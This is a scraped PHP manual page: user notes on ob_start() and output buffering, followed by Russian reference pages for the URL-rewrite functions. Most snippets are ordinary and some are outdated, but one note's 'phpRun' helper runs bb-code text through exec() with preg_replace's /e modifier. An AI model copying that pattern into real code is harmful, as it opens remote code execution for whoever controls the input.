Which is not working anymore (I get an error like: Warning: ob_start(): function '' not found or invalid function name).

It's easily fixed though, just changed the '' to a null, like this:

<?php
if ( !ob_start( !DEBUGMODE ? 'ob_gzhandler' : null ) ) {
    ob_start();
}
?>

Which preserves the code intention but works :)
Filip Dalge 22-Mar-2012 12:24
When a fatal error is thrown, PHP will output the current buffer of Output-Control without postprocessing before printing the error message. If you are working with several output control levels, this might not result in the desired behavior.

You can use an output callback handler to handle this and discard the output.

Therefore, use ob_start("ob_error_handler") in connection with the following:

function ob_error_handler($str) {
    $error = error_get_last();
    if ($error && $error["type"] == E_USER_ERROR || $error["type"] == E_ERROR) {
        return ini_get("error_prepend_string").
          "\nFatal error: $error[message] in $error[file] on line $error[line]\n".
          ini_get("error_append_string");
    }
    return $str;
}
Anonymous 08-Feb-2011 07:32
In case you're in for some readable representation for flags, this is a variant as a private class member:

<?php
class foo {
    private function getFlagsReadable($flags) {
        $flagNames = array('PHP_OUTPUT_HANDLER_START', 'PHP_OUTPUT_HANDLER_CONT', 'PHP_OUTPUT_HANDLER_END');
        $readable = '';
        foreach($flagNames as $flagName)
            if ($flags & constant($flagName) )
                $readable .= (strlen($readable) ? ' | ' : '') . $flagName
            ;
        return $readable;
    }
}
?>
Chris 24-Nov-2010 04:35
Careful with while using functions that change headers of a page; that change will not be undone when ending output buffering.

If you for instance have a class that generates an image and sets the appropriate headers, they will still be in place after the end of ob.

For instance:
<?php
  ob_start();
  myClass::renderPng(); //header("Content-Type: image/png"); in here
  $pngString = ob_get_contents();
  ob_end_clean();
?>

will put the image bytes into $pngString, and set the content type to image/png. Though the image will not be sent to the client, the png header is still in place; if you do html output here, the browser will most likely display "image error, cannot be viewed", at least firefox does.

You need to set the correct image type (text/html) manually in this case.
Bitwise 21-Oct-2009 12:41
There is no start flag problem. One just has to notice that the second parameter is not a mode but consists of bitwise-OR'ed flags.

<?php
function ob_handler($string, $flags) {
        static $input = array();
        if ( $flags & PHP_OUTPUT_HANDLER_START )
                $flags_sent[] = "PHP_OUTPUT_HANDLER_START";
        if ( $flags & PHP_OUTPUT_HANDLER_CONT )
                $flags_sent[] = "PHP_OUTPUT_HANDLER_CONT";
        if ( $flags & PHP_OUTPUT_HANDLER_END )
                $flags_sent[] = "PHP_OUTPUT_HANDLER_END";
        $input[] = implode(' | ', $flags_sent) . " ($flags): $string<br />";
        $output  = "$string<br />";
        if ( $flags & PHP_OUTPUT_HANDLER_END ) {
                $output .= '<br />';
                foreach($input as $k => $v) $output .= "$k: $v";
        }
        return $output;
}

ob_start('ob_handler');

echo 'flush';
ob_flush();

echo 'flush 2';
ob_flush();

echo 'clean';
ob_clean();

echo 'flush 3';
ob_flush();

echo 'end flush';
ob_end_flush();
?>

flush
flush 2
flush 3
end flush

0: PHP_OUTPUT_HANDLER_START | PHP_OUTPUT_HANDLER_CONT (3): flush
1: PHP_OUTPUT_HANDLER_CONT (2): flush 2
2: PHP_OUTPUT_HANDLER_CONT (2): clean
3: PHP_OUTPUT_HANDLER_CONT (2): flush 3
4: PHP_OUTPUT_HANDLER_END (4): end flush
clancy hood at gmail dot com 19-Sep-2009 05:31
With ob callback: note that the second parameter sent to your method won't help you differentiate between flush calls and calls to ob_clean, but the buffer contents is sent in both cases, so you end up parsing data that isn't going to be used. Also, note that the constant PHP_OUTPUT_HANDLER_START is never actually sent, rather the integer "3" turns up on first flush:
<?php

    function ob_handler($string, $flag){
        static $input = array();
        $done = false;
        switch($flag){
            case PHP_OUTPUT_HANDLER_START:
                $flag_sent = "PHP_OUTPUT_HANDLER_START ($flag)";
                break;
            case PHP_OUTPUT_HANDLER_CONT:
                $flag_sent = "PHP_OUTPUT_HANDLER_CONT ($flag)";
                break;
            case PHP_OUTPUT_HANDLER_END:
                $done = true;
                $flag_sent = "PHP_OUTPUT_HANDLER_END ($flag)";
                break;
            default:
                $flag_sent = "Flag is not a constant ($flag)";
        }
        $input[] = "$flag_sent: $string<br />";
        $output = "$string<br />";
        if(!$done) return $output;
        // print_r($input, 1) causes an error and var_export just doesn't work
        $output .= '<br />';
        foreach($input as $k=>$v) $output .= "$k: $v";
        return $output;
    }

    ob_start('ob_handler');

    echo 'flush';
    ob_flush();

    echo 'flush 2';
    ob_flush();

    echo 'clean';
    ob_clean();

    echo 'flush 3';
    ob_flush();

    echo 'end flush';
    ob_end_flush();
?>
?
flush
flush 2
flush 3
end flush

0: Flag is not a constant (3): flush
1: PHP_OUTPUT_HANDLER_CONT (2): flush 2
2: PHP_OUTPUT_HANDLER_CONT (2): clean
3: PHP_OUTPUT_HANDLER_CONT (2): flush 3
4: PHP_OUTPUT_HANDLER_END (4): end flush

I suppose the START flag problem *may* be a bug but I'm not able to upgrade before reporting since I must have the same version as my server (I'm on PHP 5.2.6). If anyone has 5.2.11 or other stable version feel free to test/report as you see fit.
mariusads at helpedia dot com 02-Jul-2009 03:02
Make sure the editor you use does not add the UTF8/UTF16 BOM at the start of the scripts if you want to use ob_start("ob_gzhandler");

If those three characters are present, browsers like Firefox won't be able to decode the pages and will report:

Content Encoding Error

The page you are trying to view cannot be shown because it uses an invalid or unsupported form of compression.

The page you are trying to view cannot be shown because it uses an invalid or unsupported form of compression.

Google Chrome will simply report "Error 2 (net::ERR_FAILED): Unknown error."

With the ob_start command commented out, the page is successfully load and the browser will usually detect the BOM and not show it on the page, so everything's hard to debug.
cj at ceejayoz dot com 29-Dec-2008 08:45
Note that since PHP 5.1.x, all objects have their destructors called before the output buffer callback function executes. Thus, globalised objects will not be available as expected in the function.

This is stated to be intended behaviour, per http://bugs.php.net/bug.php?id=40104
codextasy at gmail dot com 19-Sep-2008 01:26
There is a difference between the documentation and real callback functions invocation.
Manual says: "The function will be called when ob_end_flush() is called, or when the output buffer is flushed to the browser at the end of the request."

Actually, the callback function, once set by ob_start(), will be called regardless.
Here are the functions that invoke callback function immediately:
ob_clean
ob_end_clean
ob_end_flush
ob_flush
ob_get_clean

BUT only two of them return the result returned by the callback (ob_end_flush, ob_flush), other functions discard it.

At the end of the request, even if none of the functions listed above is called, the callback will be called anyway, and its result will be returned to the browser (well, at least this is corresponding to the manual).

There is one more trick:
If you set callback function with chunk_size > 1, callback function will be called each time output buffer is equal or exceeds chunk_size and its result will be output to the browser, even if you call any of ob_clean(), ob_end_clean(), ob_get_clean() later, so be aware of this fact.
fordiman at gmail dot com 27-Jun-2008 09:35
Here's a nifty function I use daily.  Essentially: include a PHP file - but render its output to a variable, rather than to the buffer.  It's also set up to load the script with a variable set, and automagically loads globals into the script's namespace, making it an effective templating scheme.  It also has error handling, so that you're not flying blind when using output buffering.

<?php
$GLOBALS['BufferedErrors']=Array();
function errorParse($errno, $errstr, $errfile, $errline, $errcontext) {
    $errorTypes = Array(
        E_ERROR => 'Fatal Error',
        E_WARNING => 'Warning',
        E_PARSE => 'Parse Error',
        E_NOTICE => 'Notice',
        E_CORE_ERROR => 'Fatal Core Error',
        E_CORE_WARNING => 'Core Warning',
        E_COMPILE_ERROR => 'Compilation Error',
        E_COMPILE_WARNING => 'Compilation Warning',
        E_USER_ERROR => 'Triggered Error',
        E_USER_WARNING => 'Triggered Warning',
        E_USER_NOTICE => 'Triggered Notice',
        E_STRICT => 'Deprecation Notice',
        E_RECOVERABLE_ERROR => 'Catchable Fatal Error'
    );
    $ret=(object)Array(
        'number'=>$errno,
        'message'=>$errstr,
        'file'=>$errfile,
        'line'=>$errline,
        'context'=>$errcontext,
        'type'=>$errorTypes[$errno]
    );
    $GLOBALS['BufferedErrors'][]=$ret;
    return false;
}
function parse($fileToInclude, $argumentsToFile=false) {
    $bufferedErrorStack = $GLOBALS['BufferedErrors'];
    set_error_handler('errorParse', error_reporting());
    $GLOBALS['BufferedErrors']=Array();

    if (!file_exists($fileToInclude))
        return '';
    if ($argumentsToFile === false)
        $argumentsToFile = Array();
    $argumentsToFile = array_merge($GLOBALS, $argumentsToFile);
    foreach ($argumentsToFile as $variableName => $variableValue)
        $$variableName = $variableValue;
    ob_start();
    include($fileToInclude);
    $ret = ob_get_contents();
    ob_end_clean();

    restore_error_handler();
    $errors = $GLOBALS['BufferedErrors'];
    $GLOBALS['BufferedErrors'] = $bufferedErrorStack;
    if (count($errors)>0) {
        $ret.='<ul class="error">';
        foreach ($errors as $error)
            $ret.=
                '<li>'.
                    '<b>'.$error->type.'</b>: '.
                    $error->message.
                    '<blockquote>'.
                        '<i>file</i>: '.$error->file.'<br />'.
                        '<i>line</i>: '.$error->line.
                    '</blockquote>'.
                '</li>';
        $ret.='</ul>';
    }
    return $ret;
}
coldshine at gmail dot com 07-Apr-2008 11:52
Referring to dan at roteloftet dot com's comment:

RFC 2616 (HTTP) specifies a "transparent" Content-Encoding, "identity" (§ 3.5), that nicely suits what you tried to do with the (invalid) "None". So this equally working, and it's also RFC-compliant:

<?php
header('Content-Encoding: identity', true);
?>
dan at roteloftet dot com 09-Mar-2008 02:19
Some web hosting servers (mine do, at least) have in their php.ini the following setting:
output_handler = ob_gzhandler

This proved problematic for php-scripts which returns an image or a binary file in general, since there is no way to determine the content length of the compressed file.

Since I spent a lot of time scouring the net searching for a work-around (.htaccess-modifications were out of the picture for various reasons), I found this to work nicely to cancel out the ob_gzhandler specified in the php.ini:

<?php
while (ob_get_level())
        ob_end_clean();
header("Content-Encoding: None", true);
?>

Put this at the top of the script before anything else is written to the page, and the script result will not be compressed.
Francois Hill 22-Oct-2007 05:42
Following clement dot ayme at st dot com 's remark :

In my experience it seems that the output IS buffered, but ALSO sent to the standard output !
Charlie Farrow 18-Oct-2007 09:49
Under certain freak conditions, when an error ocours perfoming an action on an object that cannot be done (either because the object does not exist or the method does not exist) inside of an ob_start() the script will exit and print everything the current function generates before the error, but nothing else, including no error message.

I am at a loss to why no error message appears and am trying to get a working example for the developers that is simpler than my whole program!

So if you are using ob_start() and you get no output, check your objects.... you have made a mistake on them somewhere. The only trouble is you will not know where as there is no error!!
Asher Haig (ahaig at ridiculouspower dot com) 20-Aug-2007 01:17
When a script ends, all buffered output is flushed (this is not a bug: http://bugs.php.net/bug.php?id=42334&thanks=4). What happens when the script throws an error (and thus ends) in the middle of an output buffer? The script spits out everything in the buffer before printing the error!

Here is the simplest solution I have been able to find. Put it at the beginning of the error handling function to clear all buffered data and print only the error:

$handlers = ob_list_handlers();
while ( ! empty($handlers) )    {
    ob_end_clean();
    $handlers = ob_list_handlers();
}
tracey AT archive DOT org 29-Mar-2007 01:01
Way to make all stdout and stderr write to a log
from *inside* a php script.
You simply need to make sure to call elog() every
once in awhile to get output.
It's a nice way to "daemonize" a script w.r.t. its logging.

// This allows us to capture all stdout and stderr (and error_log() calls)
// to this logfile...
// The "collected output" will be flushed anytime "elog()" is used...
ini_set("error_log", "/var/log/script.log");
ob_start();

function elog($str)
{
  // get anything written to stdout or stderr that did *NOT* use elog()
  // and write it now...
  $writeme = ob_get_contents();
  if ($writeme)
  {
    error_log($writeme);
    ob_end_clean();
    ob_start();
  }
  // now write message this method was called with
  error_log($str);
}
lucky760 at yahoo dot com 21-Nov-2006 09:10
In extension to the compress() function posted below, here's a nifty little class that improves the idea a bit. Basically, running that compress() function for all your CSS for every single page load is clearly far less than optimal, especially since the styles will change only infrequently at the very worst.

With this class you can simply specify an array of your CSS file names and call dump_style(). The contents of each file are saved in compress()'d form in a cache file that is only recreated when the corresponding source CSS changes.

It's intended for PHP5, but will work identically if you just un-OOP everything and possibly define file_put_contents.

Enjoy!

<?php

$CSS_FILES = array(
  '_general.css'
);

$css_cache = new CSSCache($CSS_FILES);
$css_cache->dump_style();

//
// class CSSCache
//

class CSSCache {
  private $filenames = array();
  private $cwd;

  public function __construct($i_filename_arr) {
    if (!is_array($i_filename_arr))
      $i_filename_arr = array($i_filename_arr);

    $this->filenames = $i_filename_arr;
    $this->cwd = getcwd() . DIRECTORY_SEPARATOR;

    if ($this->style_changed())
      $expire = -72000;
    else
      $expire = 3200;

    header('Content-Type: text/css; charset: UTF-8');
    header('Cache-Control: must-revalidate');
    header('Expires: ' . gmdate('D, d M Y H:i:s', time() + $expire) . ' GMT');
  }

  public function dump_style() {
    ob_start('ob_gzhandler');

    foreach ($this->filenames as $filename)
      $this->dump_cache_contents($filename);

    ob_end_flush();
  }

    private function get_cache_name($filename, $wildcard = FALSE) {
    $stat = stat($filename);
    return $this->cwd . '.' . $filename . '.' .
      ($wildcard ? '*' : ($stat['size'] . '-' . $stat['mtime'])) . '.cache';
  }

  private function style_changed() {
    foreach ($this->filenames as $filename)
      if (!is_file($this->get_cache_name($filename)))
        return TRUE;
    return FALSE;
  }

  private function compress($buffer) {
    $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);
    $buffer = str_replace(array("\r\n", "\r", "\n", "\t", '  '), '', $buffer);
    $buffer = str_replace('{ ', '{', $buffer);
    $buffer = str_replace(' }', '}', $buffer);
    $buffer = str_replace('; ', ';', $buffer);
    $buffer = str_replace(', ', ',', $buffer);
    $buffer = str_replace(' {', '{', $buffer);
    $buffer = str_replace('} ', '}', $buffer);
    $buffer = str_replace(': ', ':', $buffer);
    $buffer = str_replace(' ,', ',', $buffer);
    $buffer = str_replace(' ;', ';', $buffer);
    return $buffer;
  }

  private function dump_cache_contents($filename) {
    $current_cache = $this->get_cache_name($filename);

    // the cache exists - just dump it
    if (is_file($current_cache)) {
      include($current_cache);
      return;
    }

    // remove any old, lingering caches for this file
    if ($dead_files = glob($this->get_cache_name($filename, TRUE), GLOB_NOESCAPE))
      foreach ($dead_files as $dead_file)
        unlink($dead_file);

    $compressed = $this->compress(file_get_contents($filename));
    file_put_contents($current_cache, $compressed);

    echo $compressed;
  }
}

?>
butch at enterpol dot pl 02-Oct-2006 12:04
simple code to make phpsession $_GET nice for Valid XHTML 1.0 Transitional :)

function callback($buffer)
{
  $buffer = str_replace("&PHPSESSID", "&amp;PHPSESSID", $buffer);
  return $buffer;
}

ob_start("callback");

session_start();
net_navard at yahoo dot com 30-May-2006 07:09
Hello firends

ob_start() opens a buffer in which all output is stored. So every time you do an echo, the output of that is added to the buffer. When the script finishes running, or you call ob_flush(), that stored output is sent to the browser (and gzipped first if you use ob_gzhandler, which means it downloads faster).

The most common reason to use ob_start is as a way to collect data that would otherwise be sent to the browser.

These are two usages of ob_start():

1-Well, you have more control over the output. Trivial example: say you want to show the user an error message, but the script has already sent some HTML to the browser. It'll look ugly, with a half-rendered page and then an error message. Using the output buffering functions, you can simply delete the buffer and sebuffer and send only the error message, which means it looks all nice and neat buffer and send
2-The reason output buffering was invented was to create a seamless transfer, from: php engine -> apache -> operating system -> web user

If you make sure each of those use the same buffer size, the system will use less writes, use less system resources and be able to handle more traffic.

With Regards, Hossein
simon 24-Jan-2006 08:51
Found that variables in class instances we're not being set after the call to ob_start().
Call ob_start after the variables are set however and it works but that didn't seem to solve the goal of a self contained templating class.
The fix was to assign the class by reference with '&new'
Here is a simplified working example:
<?php
class Buffer {
var $template = ' - template set in class constructor';
function Buffer() {
    $this->startBuffer();
}
function startBuffer() {
    ob_start(array(&$this, 'doFlush'));
}
function doFlush($buffer) {
    /* simple string concat to show use of a
    template string and the buffer output */
    return $buffer . $this->template;
}
}
/* template does not get set:
$buffer1 = new Buffer();
$buffer1->template = ' - template set in instance';
echo 'some buffer content';
*/
/* this works as expected */
$buffer2 = &new Buffer();
$buffer2->template = ' - template set in instance';
echo 'some buffer content';
ernest at vogelsinger dot at 08-Jan-2006 09:57
When you rely on URL rewriting to pass the PHP session ID you should be careful with ob_get_contents(), as this might disable URL rewriting completely.

Example:
ob_start();
session_start();
echo '<a href=".">self link</a>';
$data = ob_get_contents();
ob_end_clean();
echo $data;

In the example above, URL rewriting will never occur. In fact, rewriting would occur if you ended the buffering envelope using ob_end_flush(). It seems to me that rewriting occurs in the very same buffering envelope where the session gets started, not at the final output stage.

If you need a scenario like the one above, using an "inner envelope" will help:

ob_start();
ob_start();   // add the inner buffering envelope
session_start();
echo '<a href=".">self link</a>';
ob_end_flush(); // closing the inner envelope will activate URL rewriting
$data = ob_get_contents();
ob_end_clean();
echo $data;

In case you're interested or believe like me that this is rather a design flaw instead of a feature, please visit bug #35933 (http://bugs.php.net/bug.php?id=35933) and comment on it.
admin at bobfrank dot org 28-Aug-2005 08:50
If you want to run code in the middle of a string that you made, but you want to wait the printing...
(so if you want to allow php in bb-code style, and you want to execute it in order, and print everything in order...)

phpRun($code) {
    ob_start();
    exec($code);
    $output = ob_get_contents();
    ob_end_clean();
    return $output;
}

$str = str_replace("]\n", "]", $str);
$match = array('#\[php\](.*?)\[\/php\]#se');
$replace = array( phpRun( stripslashes('$1') ) );
$str= preg_replace($match, $replace, $str);

echo $str;
geoffrey at nevra dot net 09-Aug-2005 12:05
When using a callback with ob_start(), functions like ob_get_contents() don't make use of it, use ob_end_flush() instead.

nb: not tested with every ob_* functions, just ob_get_contents() and ob_end_flush()
05-Aug-2005 07:54
I usually create my pages in four parts - variable initialisation, import header (using the variables just declared to configure), main body (mostly non-PHP), import footer.  I wondered about making the main body examinable by another PHP script if the main page was included into it.  I found I could control output of the main body by ending the header with an unclosed function which finishes at the start of the footer, thus enclosing the main body.  Output buffering can then be used to read this into a variable.  As a demonstration of how this can be used to control the order of output look at this example:

<?php
$output = "";

// Callback to process buffered output
function capture($buffer)
    {
    $GLOBALS['output'] .= $buffer;
    return "C ";
    }

// Calls the printE() function with output capture
function captureE()
    {
    ob_start("capture");
    printE();
    ob_end_flush();
    }
?>

A
<?php
// Output 'E' (the main body in the example scenario)
function printE()
    { // (End header after this line) ?>
E
    <?php // (Start footer with this line)
    }
?>
B
<?php captureE(); ?>
D
<?php print $output; ?>
F
<?php printE(); ?>
G

The output is A B C D E F E G.

For the application I mentioned above there are two points to note:
 - The page when executed alone must output its main body but the inspection script should suppress this, perhaps by means of a variable set before the page is included and then checked for in the footer output lines.
 - Because the main body is now inside a function it has a different namespace, thus changes may be required to prevent code breaking (e.g. use of globals, handling of functions defined within the main body).
oersoep at gmail dot com 08-Jul-2005 05:46
These are handy. First one has been mentioned before.

ob_start( array( 'lib_class', 'parse_output' ) );
ob_start( array( $this, 'parse_output' ) );

Note: $this is NOT a reference. Anything the callback saves or logs disappears in the clone ob_start works with.
It does enable the callback to work with the attributes of $this, like $this->ar_tpl_value or whatever your style is.

The manual says:
"If the optional parameter chunk_size is passed, the callback function is called on every first newline after chunk_size bytes of output. The output_callback parameter may be bypassed by passing a NULL value."
This doesn't work with my 4.3.11. Might be the Zend optimizer though. Daren't turn it off to go see.
Aleksey 25-May-2005 12:08
This function dynamically changes title of HTML page:

  function change_title($new_title) {
    $output = ob_get_contents();
    ob_end_clean();

    $output = preg_replace("/<title>(.*?)<\/title>/", "<title>$new_title</title>", $output);
    echo $output;
  }

Example:
  ob_start();
  // ... some output
  change_title('NEW TITLE!');
rafa dot chacon at factorydea dot com 10-May-2005 02:10
If you're trying to include a php file inside a loop by require_once (in example, a dinamic email template) and change the value of some variables (in example, url to unsuscribe, different for each user), you should use

<?php

// ... some code

$usermail = array("email1", "email2", ...);

for($i = 0; $i < $MAX; $i++)
{
        $usermail_unsuscribe = $usermail[$i];
        ob_start();
        include("email_template.php");
        ob_clean();
}
?>

Otherwise $usermail_unsuscribe will get only "email1" value.
Ray Paseur (Paseur ... ImagineDB.com) 01-Mar-2005 01:50
You can use PHP to generate a static HTML page.  Useful if you have a complex script that, for performance reasons, you do not want site visitors to run repeatedly on demand.  A "cron" job can execute the PHP script to create the HTML page.  For example:

<?php // CREATE index.html
   ob_start();
/* PERFORM COMLEX QUERY, ECHO RESULTS, ETC. */
   $page = ob_get_contents();
   ob_end_clean();
   $cwd = getcwd();
   $file = "$cwd" .'/'. "index.html";
   @chmod($file,0755);
   $fw = fopen($file, "w");
   fputs($fw,$page, strlen($page));
   fclose($fw);
   die();
?>
aaron at offtone.com 13-Nov-2004 05:19
My callback is stored in a function class, and using ob_start ('Class::callback') wasn't working. Not wanting to instantiate the class (no need, it's a function class) I tried this and it worked a charm:

ob_start (array (Class, 'callback'));

PHP 4.3.4
jkloss at hotmail dot com 17-Mar-2004 07:20
If ob_start does not seem to be working for you, note that with Apache 2 the flush() function causes PHP to send headers regardless of whether ob_start had been called before flush.

ob_start();
echo 'test';
flush();

will cause Apache 2 to send whatever headers may be stacked up - which means you can't use a header(location:xxx) after the flush.  To fix, remove the flush().  Spent several hours discovering this.  Apache 1.x didn't work this way.
mjr 10-Mar-2004 09:10
If you're using object-orientated code in PHP you may, like me, want to use a call-back function that is inside an object (i.e. a class function). In this case you send ob_start a two-element array as its single argument. The first element is the name of the object (without the $ at the start), and the second is the function to call. So to use a function 'indent' in an object called '$template' you would use <?php ob_start(array('template', 'indent')); ?>.
ed.oohay (a) suamhcs_rodnan 21-Nov-2003 05:18
Output Buffering even works in nested scopes or might be applied in recursive structures... thought this might save someone a little time guessing and testing :)

<pre><?php

    ob_start();              // start output buffer 1
    echo "a";                // fill ob1

        ob_start();              // start output buffer 2
        echo "b";                // fill ob2
        $s1 = ob_get_contents(); // read ob2 ("b")
        ob_end_flush();          // flush ob2 to ob1

    echo "c";                // continue filling ob1
    $s2 = ob_get_contents(); // read ob1 ("a" . "b" . "c")
    ob_end_flush();          // flush ob1 to browser

    // echoes "b" followed by "abc", as supposed to:
    echo "<HR>$s1<HR>$s2<HR>";

?></pre>

... at least works on Apache 1.3.28

Nandor =)
05-Dec-2002 12:02
If you're using Apache (1.3x or 2.0), you might consider adding automatic compression capability to your delivered pages.

I assume you all know how to build compression classes and use them in your programs, but none has yet to offer the speed and robustness of a binary-compiled module. Furthermore, such modules also log the "compressable" hit in the web log file, thus allowing your favorite web anaysing program to show you reports of bandwidth saved.

Having said that, you might consider the following two modules for Apache:

1) Apache 1.3x: use mod_gzip, available from:
http://sourceforge.net/projects/mod-gzip/

2) Apache 2.x: use mod_gz, see here:
http://www.mail-archive.com/dev@httpd.apache.org/msg00734.html

3) Apache 1.3x: you may also want to use mod_defalte, from:
ftp://ftp.lexa.ru/pub/apache-rus/contrib/

Hope it helps.
cliff at NOSPAMtravelguides dot com 07-Aug-2002 03:36
good article on output buffering on devshed:

http://www.devshed.com/c/a/PHP/Output-Buffering-With-PHP


Добавить значения в обработчик URL

  • « ob_start
  • output_reset_rewrite_vars »
  • PHP Manual
  • Функции контроля вывода
  • Добавить значения в обработчик URL

output_add_rewrite_var

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

output_add_rewrite_var — Добавить значения в обработчик URL

Описание

output_add_rewrite_var(string $name, string $value): bool

Эта функция добавляет ещё одну пару имя/значение к механизму перезаписи URL. Имя и значение будут добавлены к URL (в качестве GET-параметров) и формам (как скрытые поля ввода) так же, как и идентификатор сессии, если включена прозрачная перезапись ссылок с использованием session.use_trans_sid.

Поведение этой функции контролируется параметрами php.ini url_rewriter.tags и url_rewriter.hosts.

Обратите внимание, что функция может быть успешно вызвана не более одного раза за запрос.

Замечание: Вызов этой функции неявно запустит буферизацию вывода, если она ещё не активна.

Список параметров

name

Имя параметра.

value

Значение параметра.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.1.0 | До PHP 7.1.0 переменные перезаписи, установленные функцией output_add_rewrite_var(), используют тот же буфер модуля сессии "trans sid". Начиная с PHP 7.1.0, используется отдельный буфер, url_rewriter.tags используется только для функций вывода, добавлен url_rewriter.hosts.

Примеры

Пример #1 Пример использования функции output_add_rewrite_var()

<?php
output_add_rewrite_var('var', 'value');

// несколько ссылок
echo '<a href="file.php">ссылка</a>
<a href="http://example.com">ссылка2</a>';

// форма
echo '<form action="script.php" method="post">
<input type="text" name="var2" />
</form>';

print_r(ob_list_handlers());
?>

Результат выполнения данного примера:

<a href="file.php?var=value">ссылка</a>
<a href="http://example.com">ссылка2</a>

<form action="script.php" method="post">
<input type="hidden" name="var" value="value" />
<input type="text" name="var2" />
</form>

Array
(
    [0] => URL-Rewriter
)

Смотрите также

  • output_reset_rewrite_vars() - Сбросить значения обработчика URL
  • ob_flush() - Сбросить (отправить) буфер вывода
  • ob_list_handlers() - Список всех используемых обработчиков вывода
  • url_rewriter.tags
  • url_rewriter.hosts
  • session.trans_sid_tags
  • session.trans_sid_hosts

User Contributed Notes

Anonymous 20-Oct-2008 09:16
For a completely valid XHTML document you have to set the arg_separator, use this before you use output-add-rewrite-var:

<?php
ini_set('arg_separator.input', '&');
ini_set('arg_separator.output', '&');
?>
Niko 24-Feb-2008 01:58
This function also adds a parameter to <input type="image"> fields!

Example:
This code:

<?
output_add_rewrite_var ('var','value');
echo '<form action="" method="post">
        <input type="image" src="image.jpg" alt="go">
        </form>';
?>

will output something like this:

<form action="" method="post">
        <input type="hidden" name="var" value="value">
        <input type="image" src="image.jpg?var=value" alt="go">
        </form>
Bruce 06-Sep-2007 07:54
Just to clarify...

session.use_trans_sid does NOT need to be enabled in order for output_add_rewrite_var() to work.


Сбросить значения обработчика URL

  • « output_add_rewrite_var
  • Опции/информация PHP »
  • PHP Manual
  • Функции контроля вывода
  • Сбросить значения обработчика URL

output_reset_rewrite_vars

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

output_reset_rewrite_vars — Сбросить значения обработчика URL

Описание

output_reset_rewrite_vars(): bool

Эта функция сбрасывает обработчик URL и удаляет все значения, установленные функцией output_add_rewrite_var().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.1.0 | До PHP 7.1.0, переменные перезаписи установленные функцией output_add_rewrite_var() используют тот же буфер модуля сессии "trans sid". С PHP 7.1.0, используется отдельный буфер и output_reset_rewrite_vars() только удаляет переменные перезаписи определённые output_add_rewrite_var().

Примеры

Пример #1 Пример использования функции output_reset_rewrite_vars()

<?php
session_start();
output_add_rewrite_var('var', 'value');

echo '<a href="file.php">ссылка</a>';
ob_flush();

output_reset_rewrite_vars();
echo '<a href="file.php">ссылка</a>';
?>

Результат выполнения данного примера:

<a href="file.php?PHPSESSID=xxx&var=value">ссылка</a>
<a href="file.php">ссылка</a>

Смотрите также

  • output_add_rewrite_var() - Добавить значения в обработчик URL
  • ob_flush() - Сбросить (отправить) буфер вывода
  • ob_list_handlers() - Список всех используемых обработчиков вывода
  • url_rewriter.tags
  • url_rewriter.hosts
  • session.trans_sid_tags
  • session.trans_sid_hosts

User Contributed Notes

yohgaki at php dot net 27-Jan-2015 04:11
Example #1 to work, you need

<?php
ini_set('session.use_only_cookies', 'Off');
ini_set('session.use_trans_sid', 'On');
?>

before session_start().


Опции и информация PHP

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Опции PHP/информационные функции
    • assert_options — Установка и получение настроек механизма проверки утверждений
    • assert — Проверяет утверждение
    • cli_get_process_title — Возвращает заголовок текущего процесса
    • cli_set_process_title — Устанавливает заголовок процесса
    • dl — Загружает модуль PHP во время выполнения
    • extension_loaded — Определяет, загружен ли модуль
    • gc_collect_cycles — Принудительный запуск сборщика мусора
    • gc_disable — Отключает сборщик циклических ссылок
    • gc_enable — Включает сборщик циклических ссылок
    • gc_enabled — Возвращает текущее состояние сборщика циклических ссылок
    • gc_mem_caches — Освобождает память, используемую менеджером памяти Zend Engine
    • gc_status — Возвращает информацию о текущем статусе сборщика мусора
    • get_cfg_var — Извлекает значение настройки конфигурации PHP
    • get_current_user — Получает имя владельца текущего скрипта PHP
    • get_defined_constants — Возвращает ассоциативный массив с именами всех констант и их значений
    • get_extension_funcs — Возвращает массив имён функций модуля
    • get_include_path — Получение текущего значения настройки конфигурации include_path
    • get_included_files — Возвращает массив имён включённых в скрипт файлов
    • get_loaded_extensions — Возвращает массив имён всех скомпилированных и загруженных модулей
    • get_magic_quotes_gpc — Получение текущего значения настройки конфигурации magic_quotes_gpc
    • get_magic_quotes_runtime — Получение текущего значения настройки конфигурации magic_quotes_runtime
    • get_required_files — Псевдоним get_included_files
    • get_resources — Возвращает активные ресурсы
    • getenv — Получает значение одной или всех переменных окружения
    • getlastmod — Получает время последней модификации страницы
    • getmygid — Получить GID владельца скрипта PHP
    • getmyinode — Получает значение inode текущего скрипта
    • getmypid — Получение ID процесса PHP
    • getmyuid — Получение UID владельца скрипта PHP
    • getopt — Получает параметры из списка аргументов командной строки
    • getrusage — Получает информацию об использовании текущего ресурса
    • ini_alter — Псевдоним ini_set
    • ini_get_all — Получает все настройки конфигурации
    • ini_get — Получает значение настройки конфигурации
    • ini_parse_quantity — Get interpreted size from ini shorthand syntax
    • ini_restore — Восстанавливает значение настройки конфигурации
    • ini_set — Устанавливает значение настройки конфигурации
    • memory_get_peak_usage — Возвращает пиковое значение объёма памяти, выделенное PHP
    • memory_get_usage — Возвращает количество памяти, выделенное для PHP
    • memory_reset_peak_usage — Сбрасывает пиковое использование памяти
    • php_ini_loaded_file — Получить путь к загруженному файлу php.ini
    • php_ini_scanned_files — Возвращает список .ini-файлов, найденных в дополнительной ini-директории
    • php_sapi_name — Возвращает тип интерфейса между веб-сервером и PHP
    • php_uname — Возвращает информацию об операционной системе, на которой запущен PHP
    • phpcredits — Выводит список разработчиков PHP
    • phpinfo — Выводит информацию о текущей конфигурации PHP
    • phpversion — Получает текущую версию PHP
    • putenv — Устанавливает значение переменной среды
    • restore_include_path — Восстанавливает изначальное значение настройки конфигурации include_path
    • set_include_path — Устанавливает значение настройки конфигурации include_path
    • set_time_limit — Ограничение времени выполнения скрипта
    • sys_get_temp_dir — Возвращает путь к директории временных файлов
    • version_compare — Сравнивает две "стандартизованные" строки с номером версии PHP
    • zend_thread_id — Возвращает уникальный идентификатор текущего потока выполнения
    • zend_version — Получает версию движка Zend

User Contributed Notes

